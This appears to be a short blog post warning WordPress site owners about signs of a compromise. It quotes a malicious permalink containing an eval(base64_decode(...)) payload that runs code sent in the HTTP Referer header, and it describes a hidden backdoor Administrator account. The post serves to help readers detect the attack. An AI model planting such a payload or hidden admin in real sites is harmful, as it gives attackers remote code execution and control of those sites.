There are two clues that your WordPress site has been attacked.
There are strange additions to the pretty permalinks, such as
example.com/category/post-title/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/
. The keywords are “eval†and “base64_decode.â€The second clue is that a “back door†was created by a “hidden†Administrator. Check your site users for “Administrator (2)†or a name you do not recognize. You will probably be unable to access that account, but Journey Etc. has a possible solution.
So what are you waiting for act now and upgrade. But be sure to back your files.
